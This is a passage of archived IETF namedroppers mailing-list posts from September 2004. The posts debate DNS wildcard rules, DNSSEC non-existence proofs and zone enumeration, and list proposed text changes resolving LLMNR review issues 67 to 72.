Dec 29 10:46:05 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: more wild cards Date: Thu, 2 Sep 2004 11:08:25 -0400 Lines: 149 Sender: owner-namedroppers@ops.ietf.org References: <a06020401bd5c29d82510@[192.168.1.100]> <27579.1094135350@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: Edward Lewis <edlewis@arin.net>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 17:21:32 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <27579.1094135350@munnari.OZ.AU> To: Robert Elz <kre@munnari.OZ.AU> Precedence: bulk At 21:29 +0700 9/2/04, Robert Elz wrote: > Date: Wed, 1 Sep 2004 21:48:42 -0400 > From: Edward Lewis <edlewis@arin.net> > Message-ID: <a06020401bd5c29d82510@[192.168.1.100]> > > >I follow your reasoning, but I don't think I agree with this result. > >Once again you're confusing the zone name tree, with the lookup algorithm. No - I'm bouncing one idea off the other. > | I'm suggesting that we declare a * SOA to be an load/update error. > >No, you shouldn't do that. There's nothing invalid or illegal about it. We restrict names that have CNAME to be exclusively that ('cept for DNSSEC records) and then just one CNAME RR. We restrict some name to have just 1 SOA RR. There's nothing in the current specifications that prevent "* NS" now. The WG seems to be moving towards formalizing the prevention. As the former author of this document (pre-WG status), I refrained from changing anything other than the definition of "existence." As editor, I'm reflecting what the WG wants - putting forth "suggestions" as to what I think the group is saying. I'm taking Robert's "you" to mean the WG, not myself. Looking at the discussion - I see a swell of support for formally banning the holding of NS and SOA at the * label. As much as I can rationalize, leaving them legal does no harm in the sense that the protocol isn't harmed. But, by leaving them legal we open up the documents to widely speculative interpretations (such as what happened in MARID regarding internal wild cards) and we create gray areas and corner cases. But, on the third hand, by banning things - we create more rules that need to be enforced in software by "fully compliant" implementations. Finally - every restriction placed lowers the degrees of freedom we have. We need to balance between an amorphous free-flowing protocol and a tightly-defined protocol. It's easier to extend an amorphous entity, but it's easier to know you've extend correctly a tightly-defined entity. > >This stuff all gets confused whenever anyone starts talking about dynamic >zone creation. Certainly a server could implement a method of >dynamically creating zones on the fly (when a query for one is made, or >whenever else it wanted to), but there is absolutely nothing in 1034/1035 >(or anywhere else) that provides any support for such a mechanism. >Certainly wildcards cannot make it work. Exactly what I've discovered in my research. And, because of your last line, I think the WG wants to see the ban on * SOA and *NS in place. To make it clear to newcomers to "don't go there." > | 2) * NS. The text talks around this too, with the discussion being > | rather vague. But at the end of the meeting I recall someone say: > | > | "You have to be authoritative for the data to synthesize >records, and if you > | see * NS, you are not in the authoritative zone." > | > | I forget who said it, it isn't in the minutes, but I think that's a > | sharp observation. (I didn't see it, and I have been staring at wild > | cards for some time now.) > >All this is true. You can't go through delegation points with wildcards. >But a '* NS' record is still perfectly valid, that's the only way that we >can delegate the '*' domain, which is a perfectly valid name. > >Once again, separate out the DNS tree, from everything else, and examine >the algorithms as specified in 1034 carefully, you'll see that there's >absolutely nothing preventing a query containing '*' as a name, and no >reason at all that name can't literally match a '*' in a zone. For this >purpose the '*' is identical to any other label. Nothing preventing, yes, but no benefit either. >So > > | I'm suggesting that * NS be a load/update error. > >once again, no, you cannot do that. Look at what we did for the DS RR set. We changed the data lookup algorithm to make the answer come from the parent. Here, we can say "the answer to a * NS query is noerror/nodata." We can most easily enforce this by refusing to allow "*NS" into the server. That's better than putting in other road blocks. Let's say we discover that there's a use for "* NS". New server implementations can come out then, allowing it - without having to wait for resolvers to catch up. That's why barring something at load makes sense (to me) in this case. I really think that when it comes to securing critical infrastructure like DNS, we want to clamp down on it's looseness with out making it brittle. That's one rationale for the clarifications. (The original motivation was to stop the need for NXT "optimization" based on incomplete knowledge of the DNS. We almost did unnecessary surgery to solve a problem that didn't really exist.) I do share the concern that laying down "rules" is dangerous for future growth. And I am well aware that refraining from barring these records is would only prevent stupid behavior - like preventing folks from swimming with dangerous tides in the ocean. But, the case is being made that we want the DNS to be much more clear, understandable to folks that coming to the table later in the development of the Internet. >There is no need to make anything here illegal, or cause zone load failures. >All that is necessary is to explain how the various possible records apply >to the lookup algorithm, which is the only context in which the word >"wildcard" makes any sense in the DNS algorithms. When I talked to MARID in May, at their interim meeting, they did not want an engineering discussion of DNS, they wanted "can/can't". They did not wish to engage in a discussion of the internals of DNS and name space search theory. After all, they have other fish to fry, very understandable. In either case, I found it fruitless to try to explain why internal wild cards did not do what they thought they did - some insisted that the name is legal, therefore useful. > > | There's a blurb about fixing DNAME, I'll do that. > >I thought that the "fixing DNAME" was going to be punted into a >revision of the DNAME specification, if/when one ever appears. >That, or the "DNAME is just a CNAME generator" text which is already >there was supposed to be going to be enough for DNAME, wasn't it? I hadn't gotten that far as yet... -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: Zone enumeration, requirements, and security redux Date: Thu, 2 Sep 2004 11:47:13 -0400 Lines: 68 Sender: owner-namedroppers@ops.ietf.org References: <4E25ECBBC03F874CBAD03399254ADFDE1052D2@US-Columbia-CIST.mail.saic.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 18:09:29 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <4E25ECBBC03F874CBAD03399254ADFDE1052D2@US-Columbia-CIST.mail.saic.com> To: "Loomis, Rip" <GILBERT.R.LOOMIS@saic.com> Precedence: bulk At 9:57 -0400 9/2/04, Loomis, Rip wrote: >Comments on the above, and *any last requirements* >requested. These are derived from what I've mentioned in the past. (It's hard to know what's meant by "last" in any last requirements without seeing the list. So to be on the safe side...) [Find] a way to prove the non-existence of a name without - exposing any of the contents of the zone - muddying up the name space with fake names or data sets - on-line cryptographic operations - being vulnerable to replay attacks of the negative answer - incompatible changes with NSEC ...that's a bit strongly worded. Of course, you pretty much have to break one of them to continue onward. E.g., NSEC breaks #1. Here's another... Find a way to deny the existence of a DS RR set, when appropriate. (I.e., if the decision is to make auth denial optional, DNSSEC is toast unless you still account for saying "security stops" here.) I'll add one more observation. In the reverse map name space, zone enumeration is not something we can fight. There's more to this though. Many folks on this list are familiar with the Shared Registry Model that is in use by some of the ICANN-somethinged zones. (.com/.net/.biz/.org/etc.) In the model, there is just one registry (organization) that is producing the zone. Because the reverse map space predates the RIR system, the RIR's have to co-manage zones. Kind of like a shared *registry* model, with multiple writers to a zone. This makes operations a lot more complicated, especially when the different registries are globally dispersed. Combining the futility of stopping zone enumeration in the in-addr.arpa and ip6.arpa with the extra complication of multiple management of some of the reverse map zones, I'd encourage any alternative to the NSEC proposal be - different only transparently to the resolver/validator - intended to coexist with NSEC for a long time - not require any undo operations effort on those content with NSEC E.g., I can't see the four established and one emerging RIR having to manage all of the on-line keys needed to support the on-line approaches, no matter how true to the protocol the on-line signing approaches are. It could be done, but quite a lot of work for nearly/absolutely no gain. Perhaps - my requirements here aren't yes/no, but rather criteria (graded). -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Simon Josefsson <jas@extundo.com> Subject: Re: Zone enumeration, requirements, and security redux Date: Thu, 02 Sep 2004 18:31:41 +0200 Lines: 27 Sender: owner-namedroppers@ops.ietf.org References: <4E25ECBBC03F874CBAD03399254ADFDE1052D2@US-Columbia-CIST.mail.saic.com> <a06020408bd5ceb3f61d0@[192.168.1.100]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 18:43:46 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Injected-Via-Gmane: http://gmane.org/ To: namedroppers@ops.ietf.org Lines: 20 X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c494102a.s-bi.bostream.se User-Agent: Gnus/5.110003 (No Gnus v0.3) Emacs/21.3.50 (gnu/linux) Cancel-Lock: sha1:V7hUEz5pXYwEDjIym2MnbwxZCWk= Precedence: bulk Edward Lewis <edlewis@arin.net> writes: > [Find] a way to prove the non-existence of a name without ... > - muddying up the name space with fake names or data sets What does this mean? The simplest explanation is perhaps an example of a solution that wouldn't fulfill the requirement. The reason I ask is that some users may find it useful to fill up the name space with fake names, when adding NSECbis records. The reason for doing so would be to make it more difficult to find (arbitrarily precise) zone size estimates. All NSEC replacement proposals so far are vulnerable to remote zone size estimates, and DNS without DNSSEC is not. See section 3 of http://www.links.org/dnssec/requirements.txt Thanks, Simon -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Paul Vixie <vixie@vix.com> Subject: Re: dictionary attack on nameservers Date: 02 Sep 2004 17:25:39 +0000 Lines: 37 Sender: owner-namedroppers@ops.ietf.org References: <20040728190530.GA22758@atoom.net> <ch44lt$1ro$1@sf1.isc.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 19:37:58 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org In-Reply-To: <ch44lt$1ro$1@sf1.isc.org> Lines: 31 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3 Precedence: bulk "Olaf M. Kolkman" <olaf@ripe.net> writes: > I want to close this thread by giving every participant the > opportunity to state their concluding argument in not more than 20 > lines of text. > ... > I am trying to get something sensible out of this that will allow us to > go forward or, if needed, conclude, in a decent fashion. 1: my observations are: 2: 3: - non-registry (SLD, et al) zone administrators are already 4: hiding their sensitive DNS data, if any, behind split views 5: 6: - registry (mostly TLD) zone administrators have a competitive 7: interest in name secrecy not shared by registrars/registrants 8: 9: - load increases due to more difficult enumeration will be felt 10: by enumeration victims and third parties, not just attackers 11: 12: my recommendations are: 13: 14: + ensure that NSEC is capable of covering a single name, so that 15: a zone can use precomputed positive signatures and on-the-fly 16: negative signatures, and let motivated/interested zone 17: administrators add name secrecy by provisioning extra hardware. 18: 19: + consider other, more compact encodings for nonexistence-proof, 20: which are easier to generate on-the-fly than single-name NSEC. -- Paul Vixie -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Bernard Aboba <aboba@internaut.com> Subject: LLMNR Issue 67 (AD Review): Editorial issues Date: Thu, 2 Sep 2004 10:37:05 -0700 (PDT) Lines: 93 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 19:51:09 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org Precedence: bulk The list of current LLMNR issues and resolution is available here: http://www.drizzle.com/~aboba/DNSEXT/llmnrissues.html The text of Issue 67 is enclosed below. The proposed resolution is as follows: In Section 1 change: " In the future, it may be desirable to consider use of multicast name resolution with multicast scopes beyond the link-scope. This could occur if LLMNR deployment is successful, the need arises for multicast name resolution beyond the link-scope, or multicast routing becomes ubiquitous. For example, expanded support for multicast name resolution might be required for mobile ad-hoc networking scenarios, or where no DNS server is available that is authoritative for the names of local hosts, and can support dynamic DNS, such as in wireless hotspots." To: "In the future, it may be desirable to consider use of multicast name resolution with multicast scopes beyond the link-scope. This could occur if LLMNR deployment is successful, the need arises for multicast name resolution beyond the link-scope, or multicast routing becomes ubiquitous. For example, expanded support for multicast name resolution might be required for mobile ad-hoc networks. " Accept all the other editorial modifications. ---------------------------------------------------------------------------- Issue 67: Editorial Issues Submitter: Thomas Narten Submitter email address: narten@us.ibm.com Date first submitted: August 27, 2004 Reference: Document: LLMNR-34 Comment type: E Priority: S Section: Various Rationale/Explanation of issue: > becomes ubiquitous. For example, expanded support for multicast name > resolution might be required for mobile ad-hoc networking scenarios, > or where no DNS server is available that is authoritative for the > names of local hosts, and can support dynamic DNS, such as in > wireless hotspots. reword? sentence is hard to parse (especially last part). > by an LLMNR responder. If the TC bit is set an LLMNR response, s/an/in an/ > (e.g. A, AAAA, SRV, etc.) to the link-scope multicast address. s/e.g./e.g.,/ > Upon configuring an IP address responders typically will synthesize s/address/address,/ > 6.0.5.0.4.0.E.F.F.F.3.0.2.0.1.0.0.0.0.0.0.0.0.0.8.b.d.0.1.0.0.2. > ip6.arpa IN PTR host1. > IN PTR host1.example.com. Text should somehow indicate that the above is one line that had to be split for formatting reasons... > For UDP queries and responses the Hop Limit field in the IPv6 header, s/responses/responses,/ and drop the last , ?? > The responder should use a pre-configured TTL value in the records > returned an LLMNR response. A default value of 30 seconds is s/an/in an/? > The responder should use a pre-configured TTL value in the records > returned an LLMNR response. A default value of 30 seconds is s/use a/insert a/ ?? -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Bernard Aboba <aboba@internaut.com> Subject: LLMNR Issue 68 (AD Review): Caching Date: Thu, 2 Sep 2004 10:39:10 -0700 (PDT) Lines: 70 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 19:52:22 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org Precedence: bulk The list of current LLMNR issues and resolutions is found here: http://www.drizzle.com/~aboba/DNSEXT/llmnrissues.html The text of Issue 68 is found below. The proposed resolution is as follows: In Section 2.3, Change: "Responders MUST NOT respond using cached data." To: "Responders MUST NOT respond using data from the LLMNR or DNS resolver cache." In Section 4, delete: " Where a host is configured to issue LLMNR queries on more than one interface, each interface should have its own independent LLMNR cache. " Add the following to Section 4.1: " Where a host is configured to issue LLMNR queries on more than one interface, each interface maintains its own independent LLMNR resolver cache, containing the responses to LLMNR queries." ---------------------------------------------------------------------- Issue 68: Caching Submitter: Thomas Narten Submitter email address: narten@us.ibm.com Date first submitted: August 27, 2004 Reference: Document: LLMNR-34 Comment type: T Priority: S Section: Various Rationale/Explanation of issue: > [e] Responders MUST NOT respond using cached data. add something like "learned from other LLMNR queries" (or DNS queries, etc....) > Where a host is configured to issue LLMNR queries on more than one > interface, each interface should have its own independent LLMNR > cache. what exactly is in such a cache? > [f] If a DNS server is running on a host that supports LLMNR, the DNS > server MUST respond to LLMNR queries only for the RRSets relating > to the host on which the server is running, but MUST NOT respond > for other records for which the server is authoritative. DNS > servers also MUST NOT send LLMNR queries in order to resolve DNS > queries. Might be better to say something like "if the same process/application implements both LLMNR and DNS (e.g., for code sharing purposes), .... the must keep things logically separate". -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Bernard Aboba <aboba@internaut.com> Subject: LLMNR Issue 69 (AD Review): On-Link Date: Thu, 2 Sep 2004 10:42:16 -0700 (PDT) Lines: 97 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 19:55:37 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org Precedence: bulk The list of current LLMNR issues and resolutions is found here: http://www.drizzle.com/~aboba/DNSEXT/llmnrissues.html The text of Issue 69 is enclosed below. DISCUSSION Other than in the definition in Section 1.2, the term "reachable" is only used once in the document, in Section 2.6 (Responder responsibilities): [b] If an IPv4 address is returned, it MUST be reachable through the link over which LLMNR is used. Here the issue is whether a responder may return a particular IPv4 address in a response. For that purpose it is not relevant whether an ARP or NS/ND cache entry exists for that address on the sender or responder. It is only relevant whether the responder would respond to an ARP or ND query for that address on the interface over which the LLMNR query arrived. PROPOSED RESOLUTION The proposed resolution is as follows: In Section 1.2, change: Reachable An address is considered reachable over a link if either an ARP or neighbor discovery cache entry exists for the address on the link. To: Reachable An LLMNR responder considers one of its addresses reachable over a link if it will respond to an ARP or Neighbor Discovery query for that address sent over the link. In Section 2.5, change: " For IPv4, an "on link" address is defined as a link-local address [IPv4Link] or an address whose prefix belongs to a subnet on the local link. For IPv6 [RFC2460] an "on link" address is either a link-local address, defined in [RFC2373], or an address whose prefix belongs to a subnet on the local link." To: " For IPv4, an "on link" address is defined as a link-local address [IPv4Link] or an address whose prefix belongs to a subnet on the local link. For IPv6 [RFC2460] an "on link" address is either a link-local address, defined in [RFC2373], or one belonging to a prefix that a Router Advertisement indicates is on-link [RFC2461]." Add a normative reference to [RFC2461]: Narten, T., Nordmark, E. and W. Simpson, "Neighbor Discovery for IP Version 6 (IPv6), RFC 2461, December 1998. ------------------------------------------------------------------------ Issue 69: On-Link Submitter: Thomas Narten Submitter email address: narten@us.ibm.com Date first submitted: August 27, 2004 Reference: Document: LLMNR-34 Comment type: T Priority: S Section: Various Rationale/Explanation of issue: > Reachable > An address is considered reachable over a link if either an ARP or > neighbor discovery cache entry exists for the address on the link. funny definition, since an ARP/ND entry might exists but be very old. > For IPv4, an "on link" address is defined as a link-local address > [IPv4Link] or an address whose prefix belongs to a subnet on the > local link. For IPv6 [RFC2460] an "on link" address is either a > link-local address, defined in [RFC2373], or an address whose prefix > belongs to a subnet on the local link. Actually 2461 has a very specific definition of on-link. It's one where the RA says the prefix is "on link". This may in some cases be different than what is stated above. There maybe a subtle limitation here. 2461 allows routers to say "nothing is on link, send it to me", even if it then forwards stuff back onto the same link. This feature is not being used today, but might be used in the future. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Bernard Aboba <aboba@internaut.com> Subject: LLMNR Issue 70 (AD Review): Uniqueness Date: Thu, 2 Sep 2004 10:44:15 -0700 (PDT) Lines: 170 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 20:00:55 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org Precedence: bulk The list of current LLMNR Issues and resolutions is available here: http://www.drizzle.com/~aboba/DNSEXT/llmnrissues.html The text of Issue 70 is enclosed below. The proposed resolution is as follows: In Section 2.2, add: " The sender MUST anticipate receiving multiple replies to the same LLMNR query, in the event that several LLMNR enabled computers receive the query and respond with valid answers. When multiple valid answers are received, they may first be concatenated, and then treated in the same manner that multiple RRs received from the same DNS server would; the sender perceives no inherent conflict in the receipt of multiple responses." Add the following definition to Section 1.2: UNIQUE There are some scenarios when multiple responders may respond to the same query. There are other scenarios when only one responder may respond to a query. Resource records for which only a single responder is anticipated are referred to as UNIQUE. Resource record uniqueness is configured on the responder, and therefore uniqueness verification is the responder's responsibility. Replace Section 4 with the following: "4. Conflict resolution The uniqueness of a resource record depends on a nature of the name in the query and type of the query. For example it is expected that: - multiple hosts may respond to a query for an SRV type record - multiple hosts may respond to a query for an A or AAAA type record for a cluster name (assigned to multiple hosts in the cluster) - only a single host may respond to a query for an A or AAAA type record for a name. By default, a responder SHOULD be configured to behave as though all RRs are UNIQUE on each interface on which LLMNR is enabled. Prior to including a UNIQUE resource record in a response, for each UNIQUE resource record in a given interface's configuration, the host MUST verify that there is no other host within the scope of LLMNR query propagation that can return a resource record for the same name, type and class on that interface. Once a responder has verified the uniqueness of a UNIQUE resource record, if it receives an LLMNR query for that resource record, it MUST respond. To verify uniqueness, a responder MUST send an LLMNR query for each UNIQUE resource record. If no response is received after a suitable number of attempts (see Section 2.7), the responder can use the UNIQUE resource record in response to LLMNR queries. If a response is received, the responder MUST check whether the response arrived on an interface different from the one on which the query was sent. If the response arrives on a different interface, the responder can use the UNIQUE resource record in response to LLMNR queries. If not, then it MUST NOT use the UNIQUE resource record in response to LLMNR queries. Uniqueness verification is carried out when the host: - starts up or is rebooted - wakes from sleep (if the network interface was inactive during sleep) - is configured to respond to LLMNR queries on an interface enabled for transmission and reception of IP traffic - is configured to respond to LLMNR queries using additional UNIQUE resource records - verifies the acquisition of a new IP address and configuration on an interface The name conflict detection mechanism doesn't prevent name conflicts when previously partitioned segments are connected by a bridge. In order to minimize the chance of conflicts in such a situation, it is recommended that steps be taken to ensure name uniqueness. For example, the name could be chosen randomly from a large pool of potential names, or the name could be assigned via a process designed to guarantee uniqueness. When name conflicts are detected, they SHOULD be logged. To detect duplicate use of a name, an administrator can use a name resolution utility which employs LLMNR and lists both responses and responders. This would allow an administrator to diagnose behavior and potentially to intervene and reconfigure LLMNR responders who should not be configured to respond to the same name." ---------------------------------------------------------------------- Issue 70: Uniqueness Submitter: Thomas Narten Submitter email address: narten@us.ibm.com Date first submitted: August 27, 2004 Reference: Document: LLMNR-34 Comment type: E Priority: S Section: Various Rationale/Explanation of issue: > Every responder that responds to an LLMNR query AND includes a UNIQUE > record in the response: This is an odd use/defn. of UNIQUE. UNIQUE depends on there being only one response. The words here seem to say that the responder (if it cares) needs to ensure this. But the wording is weak. When does a responder care about a UNIQUE record? If not, it won't bother doing any steps. > [1] MUST verify that there is no other host within the > scope of the LLMNR query propagation that can return > a resource record for the same name, type and class. What responder cares about this? If you are trying to say that there are certain RRsets that must be unique, then better just say that... > cache. For each UNIQUE resource record in a given interface's > configuration, the host MUST verify resource record uniqueness on > that interface. To accomplish this, the host MUST send an LLMNR > query for each UNIQUE resource record. again, I sense that a UNIQUE RR is something that needs to be configured. Are there words to that effect somewhere? > record, the host MUST respond. After the client receives a response, > it MUST check whether the response arrived on an interface different > from the one on which the query was sent. If the response arrives on > a different interface, the client can use the UNIQUE resource record > in response to LLMNR queries. If not, then it MUST NOT use the > UNIQUE resource record in response to LLMNR queries. I'm confused. Is this part of the uniqueness verification algorithm? It seems like the first sentence and the rest of the paragraph don't quite go together. > record, the host MUST respond. After the client receives a response, Who is the client now? Is this not just requester? > The sender MUST anticipate receiving multiple replies to the same > LLMNR query, in the event that several LLMNR enabled computers > receive the query and respond with valid answers. When this occurs, > the responses may first be concatenated, and then treated in the same > manner that multiple RRs received from the same DNS server would; the > sender perceives no inherent conflict in the receipt of multiple > responses. Do you mean concatenate valid answers? it doesn't make sense to concatenate various errors, ... > There are some scenarios when multiple responders MAY respond to the > same query. There are other scenarios when only one responder MAY > respond to a query. Resource records for which the latter queries MAY seems wrong here. MAY is not about implementation choices (when you receive them...) -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Bernard Aboba <aboba@internaut.com> Subject: LLMNR Issue 71 (AD Review): Configuration Date: Thu, 2 Sep 2004 10:47:50 -0700 (PDT) Lines: 112 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 20:01:30 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org Precedence: bulk The list of current LLMNR issues and resolutions is available here: http://www.drizzle.com/~aboba/DNSEXT/llmnrissues.html The text of Issue 71 is enclosed below. The proposed resolution is as follows: In Section 2, change: " [1] No manual or automatic DNS configuration has been performed. If an interface has been configured with DNS server address(es), then LLMNR SHOULD NOT be used as the primary name resolution mechanism on that interface, although it MAY be used as a name resolution mechanism of last resort." To: " [1] No manual or automatic DNS configuration has been performed. If any interface has been configured with DNS server address(es), then LLMNR SHOULD NOT be used as the primary name resolution mechanism, although it MAY be used as a secondary name resolution mechanism." In Section 3.1, change: "Unless unconfigured hosts periodically retry configuration, an outage in the DNS configuration mechanism will result in hosts continuing to use LLMNR even once the outage is repaired. Since LLMNR only enables linklocal name resolution, this represents an unnecessary degradation in capabilities. As a result, it is recommended that hosts without a configured DNS server periodically attempt to obtain DNS configuration. For example, where DHCP is used for DNS configuration, [RFC2131] recommends a maximum retry interval of 64 seconds. In the absence of other guidance, a default retry interval of one (1) minute is RECOMMENDED." To: "An outage in the DNS configuration mechanism may result in hosts continuing to use LLMNR even once the outage is repaired. Since LLMNR only enables linklocal name resolution, this represents a degradation in capabilities. As a result, hosts without a configured DNS server may wish to periodically attempt to obtain DNS configuration if permitted by the configuration mechanism in use. In the absence of other guidance, a default retry interval of one (1) minute is RECOMMENDED." Change: " For example, if the configured DNS server responds to AAAA RR queries sent over IPv4 or IPv6 with an authoritative name error (RCODE=3), then it will not be possible to resolve the names of IPv6-only hosts. In this situation, LLMNR over IPv6 can be used for local name resolution." To: " For example, if the configured DNS server responds to all AAAA RR queries sent over IPv4 or IPv6 with an authoritative name error (RCODE=3), then it will not be possible to resolve the names of IPv6-only hosts. In this situation, LLMNR over IPv6 can be used for local name resolution." ------------------------------------------------------------------------- Issue 71: Configuration Submitter: Thomas Narten Submitter email address: narten@us.ibm.com Date first submitted: August 27, 2004 Reference: Document: LLMNR-34 Comment type: T Priority: S Section: Various Rationale/Explanation of issue: > [1] No manual or automatic DNS configuration has been > performed. If an interface has been configured with DNS > server address(es), then LLMNR SHOULD NOT be used as the > primary name resolution mechanism on that interface, although > it MAY be used as a name resolution mechanism of last resort. DNS server addresses are not what I'd consider "per-interface" information. > Unless unconfigured hosts periodically retry configuration, an outage > in the DNS configuration mechanism will result in hosts continuing to > use LLMNR even once the outage is repaired. Since LLMNR only enables > linklocal name resolution, this represents an unnecessary degradation > in capabilities. As a result, it is recommended that hosts without a > configured DNS server periodically attempt to obtain DNS > configuration. For example, where DHCP is used for DNS > configuration, [RFC2131] recommends a maximum retry interval of 64 > seconds. In the absence of other guidance, a default retry interval > of one (1) minute is RECOMMENDED. Again, this seems simplistic. You should not go back to your DHC server every 64 seconds if has given you parameters other than DNS. > For example, if the configured DNS server responds to AAAA RR queries > sent over IPv4 or IPv6 with an authoritative name error (RCODE=3), > then it will not be possible to resolve the names of IPv6-only hosts. > In this situation, LLMNR over IPv6 can be used for local name > resolution. seems to narrow. Getting RCODE=3 for one query, can't be generalized to say AAAA is not supported at all by that server. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:05 2006 From: Bernard Aboba <aboba@internaut.com> Subject: LLMNR Issue 72 (AD Review): MAYs Date: Thu, 2 Sep 2004 10:50:54 -0700 (PDT) Lines: 119 Sender: owner-namedroppers@ops.ietf.org Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-From: owner-namedroppers@ops.ietf.org Thu Sep 02 20:05:00 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org Precedence: bulk The list of current LLMNR issues and resolution is available here: http://www.drizzle.com/~aboba/DNSEXT/llmnrissues.html The text of Issue 72 is enclosed below. The proposed resolution is as follows: In Section 2.3, change: "Responses SHOULD always be sent from the port to which they were directed." To: "Responses MUST always be sent from the port to which they were directed." In Section 2.3, change: "If a responder is authoritative for a name, it MAY respond with RCODE=0 and an empty answer section, if the type of query does not match a RR that the responder has." To: "If a responder is authoritative for a name, it SHOULD respond with RCODE=0 and an empty answer section, if the type of query does not match a RR that the responder has." In Section 2.7, change: " If an LLMNR query sent over UDP is not resolved within LLMNR_TIMEOUT, then a sender MAY repeat the transmission of the query in order to assure that it was received by a host capable of responding to it." To: " If an LLMNR query sent over UDP is not resolved within LLMNR_TIMEOUT, then a sender SHOULD repeat the transmission of the query in order to assure that it was received by a host capable of responding to it." In Section 2.7, change: " An LLMNR sender SHOULD dynamically compute the value of LLMNR_TIMEOUT for each transmission. It is suggested that the computation of LLMNR_TIMEOUT be based on the response times for earlier LLMNR queries sent on the same interface. For example, the algorithms described in RFC 2988 [RFC2988] (including exponential backoff) compute an RTO, which is used as the value of LLMNR_TIMEOUT. Smaller values MAY be used for the initial RTO (discussed in Section 2 of [RFC2988], paragraph 2.1), the minimum RTO (discussed in Section 2 of [RFC2988], paragraph 2.4), and the maximum RTO (discussed in Section 2 of [RFC2988], paragraph 2.5). Recommended values are an initial RTO of 1 second, a minimum RTO of 200ms, and a maximum RTO of 5 seconds." To: "An LLMNR sender SHOULD dynamically compute the value of LLMNR_TIMEOUT for each transmission. For example, the algorithms described in RFC 2988 [RFC2988] (including exponential backoff) compute an RTO, which is used as the value of LLMNR_TIMEOUT. Smaller values MAY be used for the initial RTO (discussed in Section 2 